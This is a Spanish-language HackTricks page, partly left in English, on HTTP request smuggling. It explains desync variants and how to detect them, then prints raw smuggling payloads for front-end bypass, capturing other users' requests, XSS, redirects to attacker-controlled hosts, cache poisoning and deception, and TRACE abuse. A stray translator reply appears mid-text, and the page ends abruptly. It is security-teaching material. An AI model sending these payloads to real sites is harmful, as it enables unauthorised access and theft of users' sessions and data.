HTTP Request Smuggling / HTTP Desync Attack
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.
Qué es
Esta vulnerabilidad ocurre cuando una desynchronization entre front-end proxies y el servidor back-end permite que un attacker envíe una HTTP request que será interpretada como una single request por los front-end proxies (load balance/reverse-proxy) y as 2 request por el servidor back-end.
Esto permite a un usuario modificar la siguiente request que llega al servidor back-end después de la suya.
Theory
Si se recibe un mensaje con un campo de cabecera Transfer-Encoding y un campo de cabecera Content-Length, este último DEBE ser ignorado.
Content-Length
La cabecera de entidad Content-Length indica el tamaño del cuerpo de la entidad, en bytes, enviado al destinatario.
Transfer-Encoding: chunked
La cabecera Transfer-Encoding especifica la forma de codificación usada para transferir de forma segura el cuerpo de la carga útil al usuario.
Chunked significa que los datos grandes se envían en una serie de chunks
Reality
El Front-End (un load-balance / Reverse Proxy) procesa la cabecera content-length o la transfer-encoding y el servidor Back-end procesa la otra, provocando una desynchronization entre los 2 sistemas.
Esto puede ser muy crítico, ya que un attacker podrá enviar una request al reverse proxy que será interpretada por el servidor back-end como 2 requests diferentes. El peligro de esta técnica reside en que el servidor back-end interpretará la 2ª request inyectada como si viniera del siguiente cliente y la request real de ese cliente formará parte de la request inyectada.
Particularities
Recuerda que en HTTP un carácter de nueva línea está compuesto por 2 bytes:
- Content-Length: Esta cabecera usa un número decimal para indicar el número de bytes del body de la request. Se espera que el body termine en el último carácter, no es necesaria una nueva línea al final de la request.
- Transfer-Encoding: Esta cabecera usa en el body un número hexadecimal para indicar el número de bytes del siguiente chunk. El chunk debe terminar con una nueva línea, pero esta nueva línea no cuenta en el indicador de longitud. Este método de transferencia debe terminar con un chunk de tamaño 0 seguido de 2 nuevas líneas:
0 - Connection: Según mi experiencia, se recomienda usar
Connection: keep-aliveen la primera request del request Smuggling.
Visible - Hidden
El principal problema con http/1.1 es que todas las requests van en el mismo socket TCP, así que si se encuentra una discrepancia entre 2 sistemas que reciben requests, es posible enviar una request que será tratada como 2 requests diferentes (o más) por el backend final (o incluso por sistemas intermedios).
This blog post propone nuevas formas de detectar desync attacks en un sistema que no serán marcadas por WAFs. Para ello presenta los comportamientos Visible vs Hidden. El objetivo en este caso es intentar encontrar discrepancias en la respuesta usando técnicas que podrían estar causando desyncs sin explotar realmente nada.
Por ejemplo, enviar una request con la cabecera host normal y una cabecera “ host“, si el backend se queja de esta request (quizá porque el valor de “ host“ es incorrecto) posiblemente significa que el front-end no vio la cabecera “ host“ mientras que el backend final sí la utilizó, lo que es muy probablemente una desync entre front-end y backend.
Esto sería una discrepancia Hidden-Visible.
Si el front-end hubiera tenido en cuenta la cabecera “ host“ pero el front-end no, esto podría haber sido una situación Visible-Hidden.
Por ejemplo, esto permitió descubrir desyncs entre AWS ALB como front-end e IIS como backend. Esto fue porque cuando se envió “Host: foo/bar”, el ALB devolvió 400, Server; awselb/2.0, pero cuando se envió “Host : foo/bar”, devolvió 400, Server: Microsoft-HTTPAPI/2.0, indicando que el backend estaba enviando la respuesta. Esto es una situación Hidden-Vissible (H-V).
Ten en cuenta que esta situación no está corregida en AWS, pero se puede prevenir configurando routing.http.drop_invalid_header_fields.enabled y routing.http.desync_mitigation_mode = strictest.
Basic Examples
Tip
When trying to exploit this with Burp Suite disable
Update Content-LengthandNormalize HTTP/1 line endingsin the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
Los ataques HTTP request smuggling se crean enviando requests ambiguas que explotan discrepancias en cómo los servidores front-end y back-end interpretan las cabeceras Content-Length (CL) y Transfer-Encoding (TE). Estos ataques pueden manifestarse de distintas formas, principalmente como CL.TE, TE.CL y TE.TE. Cada tipo representa una combinación única de cómo los servidores front-end y back-end priorizan estas cabeceras. Las vulnerabilidades surgen porque los servidores procesan la misma request de formas diferentes, lo que lleva a resultados inesperados y potencialmente maliciosos.
Basic Examples of Vulnerability Types

Tip
A la tabla anterior deberías añadir la técnica TE.0, igual que la técnica CL.0 pero usando Transfer Encoding.
Vulnerability CL.TE (Content-Length usado por Front-End, Transfer-Encoding usado por Back-End)
-
Front-End (CL): Procesa la request basándose en la cabecera
Content-Length. -
Back-End (TE): Procesa la request basándose en la cabecera
Transfer-Encoding. -
Attack Scenario:
-
El attacker envía una request cuyo valor de la cabecera
Content-Lengthno coincide con la longitud real del contenido. -
El servidor front-end reenvía la request completa al back-end, basándose en el valor de
Content-Length. -
El servidor back-end procesa la request como chunked debido a la cabecera
Transfer-Encoding: chunked, interpretando los datos restantes como una request separada posterior. -
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
Vulnerability TE.CL (Transfer-Encoding usado por Front-End, Content-Length usado por Back-End)
-
Front-End (TE): Procesa la request basándose en la cabecera
Transfer-Encoding. -
Back-End (CL): Procesa la request basándose en la cabecera
Content-Length. -
Attack Scenario:
-
El attacker envía una request chunked donde el tamaño del chunk (
7b) y la longitud real del contenido (Content-Length: 4) no coinciden. -
El servidor front-end, respetando
Transfer-Encoding, reenvía la request completa al back-end. -
El servidor back-end, respetando
Content-Length, procesa solo la parte inicial de la request (7bbytes), dejando el resto como parte de una request posterior no intencionada. -
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
Vulnerability TE.TE (Transfer-Encoding usado por ambos, con obfuscation)
-
Servers: Ambos soportan
Transfer-Encoding, pero se puede engañar a uno para que lo ignore mediante obfuscation. -
Attack Scenario:
-
El attacker envía una request con cabeceras
Transfer-Encodingobfuscadas. -
Dependiendo de qué servidor (front-end o back-end) no reconozca la obfuscation, se puede explotar una vulnerabilidad CL.TE o TE.CL.
-
La parte no procesada de la request, tal como la ve uno de los servidores, pasa a formar parte de una request posterior, lo que lleva al smuggling.
-
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Escenario CL.CL (Content-Length usado por Front-End y Back-End)
- Ambos servidores procesan la request basándose únicamente en la cabecera
Content-Length. - Este escenario normalmente no lleva a smuggling, ya que hay alineación en cómo ambos servidores interpretan la longitud de la request.
- Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
Escenario CL.0
- Se refiere a escenarios donde la cabecera
Content-Lengthestá presente y tiene un valor distinto de cero, indicando que el body de la request tiene contenido. El back-end ignora la cabeceraContent-Length(que se trata como 0), pero el front-end la analiza. - Es crucial para entender y crear ataques de smuggling, ya que influye en cómo los servidores determinan el final de una request.
- Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
Escenario TE.0
- Como el anterior pero usando TE
- Technique reported here
- Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
0.CL Scenario
En una situación 0.CL una request se envía con un Content-Length como:
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7
GET /404 HTTP/1.1
X: Y
Y el front-end no tiene en cuenta el Content-Length, así que solo envía la primera request al backend (hasta el 7 en el ejemplo). Sin embargo, el backend ve el Content-Length y espera un body que nunca llega porque el front-end ya está esperando la response.
Sin embargo, si hay una request que es posible enviar al backend y que recibe respuesta antes de recibir el body de la request, este deadlock no ocurrirá. En IIS, por ejemplo, esto pasa al enviar requests a palabras prohibidas como /con (consulta la documentation), de esta manera, la request inicial recibirá respuesta directamente y la segunda request contendrá la request de la victim como:
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
Esto es útil para provocar un desync, pero no tendrá ningún impacto hasta ahora.
Sin embargo, el post ofrece una solución para esto convirtiendo un ataque 0.CL en un CL.0 con un doble desync.
Romper el servidor web
Esta técnica también es útil en escenarios donde es posible romper un servidor web mientras se lee el HTTP data inicial pero sin cerrar la conexión. De esta forma, el body de la HTTP request se considerará la siguiente HTTP request.
Por ejemplo, como se explica en este writeup, en Werkzeug era posible enviar algunos caracteres Unicode y eso hacía que el servidor se rompiera. Sin embargo, si la HTTP connection se creó con el header Connection: keep-alive, el body de la request no se leerá y la connection seguirá abierta, así que el body de la request se tratará como la siguiente HTTP request.
Forzar mediante hop-by-hop headers
Abusando de hop-by-hop headers podrías indicar al proxy que borre el header Content-Length o Transfer-Encoding, de forma que sea posible abusar de un HTTP request smuggling.
Connection: Content-Length
Para más información sobre hop-by-hop headers visita:
Encontrar HTTP Request Smuggling
Identificar vulnerabilidades de HTTP request smuggling a menudo se puede lograr usando técnicas de timing, que se basan en observar cuánto tarda el server en responder a requests manipuladas. Estas técnicas son especialmente útiles para detectar vulnerabilidades CL.TE y TE.CL. Además de estos métodos, existen otras estrategias y herramientas que se pueden usar para encontrar estas vulnerabilidades:
Encontrar vulnerabilidades CL.TE usando técnicas de timing
-
Method:
-
Envía un request que, si la application es vulnerable, hará que el back-end server espere datos adicionales.
-
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
Observation:
-
El front-end server procesa el request basándose en
Content-Lengthy corta el mensaje prematuramente. -
El back-end server, esperando un mensaje chunked, espera el siguiente chunk que nunca llega, causando un retraso.
-
Indicators:
-
Timeouts o grandes retrasos en la respuesta.
-
Recibir un error 400 Bad Request del back-end server, a veces con información detallada del server.
Encontrar vulnerabilidades TE.CL usando técnicas de timing
-
Method:
-
Envía un request que, si la application es vulnerable, hará que el back-end server espere datos adicionales.
-
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Observation:
- El front-end server procesa el request basándose en
Transfer-Encodingy reenvía todo el mensaje. - El back-end server, esperando un mensaje basado en
Content-Length, espera datos adicionales que nunca llegan, causando un retraso.
Otros métodos para encontrar vulnerabilities
- Differential Response Analysis:
- Envía versiones ligeramente variadas de un request y observa si las respuestas del server difieren de una forma inesperada, indicando una discrepancia de parsing.
- Using Automated Tools:
- Herramientas como la extensión ‘HTTP Request Smuggler’ de Burp Suite pueden probar automáticamente estas vulnerabilities enviando varias formas de requests ambiguos y analizando las respuestas.
- Content-Length Variance Tests:
- Envía requests con valores de
Content-Lengthvariables que no coincidan con la longitud real del contenido y observa cómo maneja el server esas discrepancias. - Transfer-Encoding Variance Tests:
- Envía requests con headers
Transfer-Encodingofuscados o malformados y monitoriza cómo responden de forma diferente el front-end y el back-end server ante esas manipulaciones.
El header Expect: 100-continue
Comprueba cómo este header puede ayudar a explotar un http desync en:
Pruebas de vulnerabilidad de HTTP Request Smuggling
Después de confirmar la eficacia de las técnicas de timing, es crucial verificar si los client requests pueden ser manipulados. Un método sencillo es intentar poison your requests; por ejemplo, hacer que un request a / devuelva una respuesta 404. Los ejemplos CL.TE y TE.CL discutidos anteriormente en Basic Examples demuestran cómo poison a client’s request para provocar una respuesta 404, a pesar de que el client intenta acceder a un recurso diferente.
Key Considerations
Al probar vulnerabilidades de request smuggling interfiriendo con otros requests, ten en cuenta:
- Distinct Network Connections: Los requests “attack” y “normal” deben enviarse por conexiones de red separadas. Usar la misma conexión para ambos no valida la presencia de la vulnerability.
- Consistent URL and Parameters: Intenta usar URLs y nombres de parámetros idénticos para ambos requests. Las applications modernas a menudo enrutan requests a back-end servers específicos según la URL y los parameters. Hacer que coincidan aumenta la probabilidad de que ambos requests sean procesados por el mismo server, un requisito previo para un ataque exitoso.
- Timing and Racing Conditions: El request “normal”, destinado a detectar interferencia del request “attack”, compite contra otros requests concurrentes de la application. Por lo tanto, envía el request “normal” inmediatamente después del request “attack”. Las applications muy ocupadas pueden requerir múltiples intentos para confirmar la vulnerability de forma concluyente.
- Load Balancing Challenges: Los front-end servers que actúan como load balancers pueden distribuir requests entre varios back-end systems. Si los requests “attack” y “normal” terminan en systems diferentes, el ataque no tendrá éxito. Este aspecto de load balancing puede requerir varios intentos para confirmar una vulnerability.
- Unintended User Impact: Si tu ataque afecta inadvertidamente el request de otro usuario (no el request “normal” que enviaste para la detección), esto indica que tu ataque influyó en otro usuario de la application. Las pruebas continuas podrían interrumpir a otros users, lo que exige un enfoque cauteloso.
Distinguir artefactos de HTTP/1.1 pipelining vs request smuggling genuino
La reutilización de conexión (keep-alive) y el pipelining pueden producir fácilmente ilusiones de “smuggling” en herramientas de prueba que envían múltiples requests en el mismo socket. Aprende a separar artefactos inocuos del lado del client de desync reales del lado del server.
Por qué el pipelining crea falsos positivos clásicos
HTTP/1.1 reutiliza una sola conexión TCP/TLS y concatena requests y responses en el mismo stream. En pipelining, el client envía múltiples requests seguidos y depende de responses en orden. Un falso positivo común es reenviar un payload CL.0 malformado dos veces en una sola conexión:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Por favor, proporciona el contenido que quieres que traduzca.
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
Si el servidor ignoró el Content_Length malformado, no hay desync FE↔BE. Con reuse, tu cliente en realidad envió este byte-stream, que el servidor interpretó como dos requests independientes:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Impacto: ninguno. Solo desincronizaste tu client del framing del server.
Tip
Burp modules that depend on reuse/pipelining: Turbo Intruder with
requestsPerConnection>1, Intruder with “HTTP/1 connection reuse”, Repeater “Send group in sequence (single connection)” or “Enable connection reuse”.
Litmus tests: pipelining or real desync?
- Disable reuse and re-test
- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid “Send group in sequence”.
- In Turbo Intruder, set
requestsPerConnection=1andpipeline=False. - If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
- HTTP/2 nested-response check
- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
- Partial-requests probe for connection-locked front-ends
- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
- See PortSwigger “Browser‑Powered Desync Attacks” for the connection-locked technique.
- State probes
- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
- Burp “HTTP Request Smuggler” includes a connection‑state probe that automates this.
- Visualize the wire
- Use the Burp “HTTP Hacker” extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
Connection‑locked request smuggling (reuse-required)
Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
- Prove the server-side bug
- Use the HTTP/2 nested-response check, or
- Use partial-requests to show the FE only reuses upstream when the client does.
- Show real impact even if direct cross-user socket abuse is blocked:
- Cache poisoning: poison shared caches via the desync so responses affect other users.
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
- Operator workflow
- Reproduce with controlled reuse (Turbo Intruder
requestsPerConnection=2, or Burp Repeater tab group → “Send group in sequence (single connection)”). - Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
See also connection‑state attacks, which are closely related but not technically smuggling:
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Client‑side desync constraints
If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
For background and end-to-end workflows:
Browser HTTP Request Smuggling
Tooling to help decide
- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
- “Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: precise control over connection reuse via
requestsPerConnection. - Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
Note
Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
Abusing HTTP Request Smuggling
Circumventing Front-End Security via HTTP Request Smuggling
Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing /admin might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the /admin path which is typically guarded by the front-end proxy:
CL.TE Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
En el ataque CL.TE, el header Content-Length se aprovecha para la request inicial, mientras que la request incrustada posterior utiliza el header Transfer-Encoding: chunked. El proxy de front-end procesa la request POST inicial pero no logra inspeccionar la request GET /admin incrustada, lo que permite acceso no autorizado al path /admin.
TE.CL Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Por el contrario, en el ataque TE.CL, la solicitud inicial POST usa Transfer-Encoding: chunked, y la solicitud incrustada posterior se procesa según el encabezado Content-Length. Al igual que en el ataque CL.TE, el proxy del front-end pasa por alto la solicitud GET /admin smuggled, otorgando inadvertidamente acceso a la ruta restringida /admin.
Revelando la reescritura de solicitudes del front-end
Las aplicaciones a menudo emplean un servidor front-end para modificar las solicitudes entrantes antes de pasarlas al servidor back-end. Una modificación típica consiste en añadir encabezados, como X-Forwarded-For: <IP of the client>, para reenviar la IP del cliente al back-end. Entender estas modificaciones puede ser crucial, ya que podría revelar formas de bypassar protecciones o descubrir información o endpoints ocultos.
Para investigar cómo un proxy altera una solicitud, localiza un parámetro POST que el back-end refleje en la respuesta. Luego, construye una solicitud, usando este parámetro al final, similar a la siguiente:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
En esta estructura, los componentes de la solicitud posteriores se añaden después de search=, que es el parámetro reflejado en la respuesta. Esta reflexión expondrá los encabezados de la solicitud posterior.
Es importante alinear el encabezado Content-Length de la solicitud anidada con la longitud real del contenido. Se aconseja empezar con un valor pequeño e incrementarlo gradualmente, ya que un valor demasiado bajo truncará los datos reflejados, mientras que uno demasiado alto puede hacer que la solicitud falle.
Esta técnica también es aplicable en el contexto de una vulnerabilidad TE.CL, pero la solicitud debe terminar con search=\r\n0. Independientemente de los caracteres de nueva línea, los valores se añadirán al parámetro search.
Este método sirve principalmente para entender las modificaciones de la solicitud realizadas por el proxy front-end, realizando esencialmente una investigación autodirigida.
Capturing other users’ requests
Es factible capturar las solicitudes del siguiente usuario añadiendo una solicitud específica como valor de un parámetro durante una operación POST. Así es como se puede hacer:
Al añadir la siguiente solicitud como valor de un parámetro, puedes almacenar la solicitud del siguiente cliente:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
En este escenario, el parámetro comment está destinado a almacenar el contenido dentro de la sección de comentarios de una publicación en una página de acceso público. En consecuencia, el contenido de la solicitud posterior aparecerá como un comentario.
Sin embargo, esta técnica tiene limitaciones. Generalmente, solo captura datos hasta el delimitador del parámetro usado en la solicitud smuggled. Para envíos de formularios codificados en URL, este delimitador es el carácter &. Esto significa que el contenido capturado de la solicitud del usuario víctima se detendrá en el primer &, que incluso puede formar parte de la cadena de consulta.
Además, vale la pena señalar que este enfoque también es viable con una vulnerabilidad TE.CL. En tales casos, la solicitud debe terminar con search=\r\n0. Independientemente de los caracteres de nueva línea, los valores se añadirán al parámetro de búsqueda.
Using HTTP request smuggling to exploit reflected XSS
HTTP Request Smuggling puede aprovecharse para explotar páginas web vulnerables a Reflected XSS, ofreciendo ventajas significativas:
- No se requiere interacción con los usuarios objetivo.
- Permite explotar XSS en partes de la solicitud que normalmente son inalcanzables, como los encabezados HTTP.
En escenarios donde un sitio web es susceptible a Reflected XSS a través del encabezado User-Agent, el siguiente payload demuestra cómo explotar esta vulnerabilidad:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
Este payload está estructurado para explotar la vulnerabilidad mediante:
- Iniciar una solicitud
POST, aparentemente normal, con un encabezadoTransfer-Encoding: chunkedpara indicar el inicio del smuggling. - Continuar con un
0, marcando el final del cuerpo del mensaje chunked. - Luego, se introduce una solicitud
GETsmuggleada, donde el encabezadoUser-Agentse inyecta con un script,<script>alert(1)</script>, desencadenando el XSS cuando el servidor procesa esta solicitud posterior.
Al manipular User-Agent mediante smuggling, el payload elude las restricciones normales de las solicitudes, explotando así la vulnerabilidad Reflected XSS de una forma no estándar pero efectiva.
HTTP/0.9
Caution
En caso de que el contenido del usuario se refleje en una respuesta con un
Content-typecomotext/plain, evitando la ejecución del XSS. Si el servidor soporta HTTP/0.9, ¡podría ser posible eludir esto!
La versión HTTP/0.9 era anterior a la 1.0 y solo usa verbos GET y no responde con headers, solo el body.
En this writeup, esto se abusó con request smuggling y un endpoint vulnerable que responderá con la entrada del usuario para smugglear una solicitud con HTTP/0.9. El parámetro que se reflejará en la respuesta contenía una respuesta HTTP/1.1 falsa (con headers y body), por lo que la respuesta contendrá código JS ejecutable válido con un Content-Type de text/html.
Explotando redirecciones on-site con HTTP Request Smuggling
Las aplicaciones a menudo redirigen de una URL a otra usando el hostname del encabezado Host en la URL de redirección. Esto es común con web servers como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra final resulta en una redirección para incluir la barra:
GET /home HTTP/1.1
Host: normal-website.com
Resultados en:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Aunque parece inofensivo, este comportamiento puede manipularse usando HTTP request smuggling para redirigir a los usuarios a un sitio externo. Por ejemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Esta request smuggled podría hacer que la siguiente request de usuario procesada se redirija a un sitio web controlado por un atacante:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
Resultados en:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
En este escenario, la solicitud de un usuario para un archivo JavaScript es secuestrada. El atacante puede comprometer potencialmente al usuario sirviendo JavaScript malicioso en respuesta.
Explotando Web Cache Poisoning mediante HTTP Request Smuggling
Web cache poisoning puede ejecutarse si cualquier componente de la front-end infrastructure cachea contenido, normalmente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible poison the cache.
Anteriormente, observamos cómo las respuestas del servidor podían alterarse para devolver un error 404 (consulta Basic Examples). De manera similar, es posible engañar al servidor para que entregue contenido de /index.html en respuesta a una solicitud de /static/include.js. En consecuencia, el contenido de /static/include.js se reemplaza en el cache por el de /index.html, dejando /static/include.js inaccesible para los usuarios, lo que podría conducir a un Denial of Service (DoS).
Esta técnica se vuelve particularmente potente si se descubre una vulnerabilidad de Open Redirect o si existe un on-site redirect to an open redirect. Tales vulnerabilidades pueden explotarse para reemplazar el contenido cacheado de /static/include.js con un script bajo el control del atacante, habilitando esencialmente un ataque de Cross-Site Scripting (XSS) a gran escala contra todos los clientes que soliciten el /static/include.js actualizado.
A continuación se muestra una ilustración de la explotación de cache poisoning combinada con un on-site redirect to open redirect. El objetivo es alterar el contenido del cache de /static/include.js para servir código JavaScript controlado por el atacante:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Note the embedded request targeting /post/next?postId=3. This request will be redirected to /post?postId=4, utilizing the Host header value to determine the domain. By altering the Host header, the attacker can redirect the request to their domain (on-site redirect to open redirect).
After successful socket poisoning, a GET request for /static/include.js should be initiated. This request will be contaminated by the prior on-site redirect to open redirect request and fetch the content of the script controlled by the attacker.
Subsequently, any request for /static/include.js will serve the cached content of the attacker’s script, effectively launching a broad XSS attack.
Using HTTP request smuggling to perform web cache deception
What is the difference between web cache poisoning and web cache deception?
- In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
- In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Si esta petición smuggleada envenena una entrada de caché destinada a contenido estático (p. ej., /someimage.png), los datos sensibles de la víctima de /private/messages podrían quedar almacenados en caché bajo la entrada de caché del contenido estático. En consecuencia, el atacante podría recuperar potencialmente esos datos sensibles almacenados en caché.
Abusing TRACE via HTTP Request Smuggling
En este post se sugiere que, si el servidor tiene el método TRACE habilitado, podría ser posible abusar de él con un HTTP Request Smuggling. Esto se debe a que este método reflejará cualquier header enviado al servidor como parte del body de la response. Por ejemplo:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
Responderá con algo como:
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
Un ejemplo de cómo abusar de este comportamiento sería smuggle primero una petición HEAD. Esta petición responderá solo con los headers de una petición GET (Content-Type entre ellos). Y smuggle inmediatamente después del HEAD una petición TRACE, que reflejará los datos enviados.
Como la respuesta del HEAD contendrá un header Content-Length, la respuesta de la petición TRACE será tratada como el cuerpo de la respuesta del HEAD, reflejando por lo tanto datos arbitrarios en la respuesta.
Esta respuesta será enviada a la siguiente petición sobre la conexión, así que esto podría usarse en un archivo JS cacheado, por ejemplo, para inyectar código JS arbitrario.
Abusing TRACE via HTTP Response Splitting
Continúa siguiendo this post y se sugiere otra forma de abusar del método TRACE. Como se comentó, smuggle una petición HEAD y una petición TRACE; es posible controlar algunos datos reflejados en la respuesta a la petición HEAD. La longitud del cuerpo de la petición HEAD está básicamente indicada en el header Content-Length y se forma a partir de la respuesta a la petición TRACE.
Por lo tanto, la nueva idea sería que, sabiendo este Content-Length y los datos dados en la respuesta TRACE, es posible hacer que la respuesta TRACE contenga una respuesta HTTP válida después del último byte de Content-Length, permitiendo a un atacante controlar completamente la petición a la siguiente respuesta (lo que podría usarse para realizar un cache poisoning).
Example:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
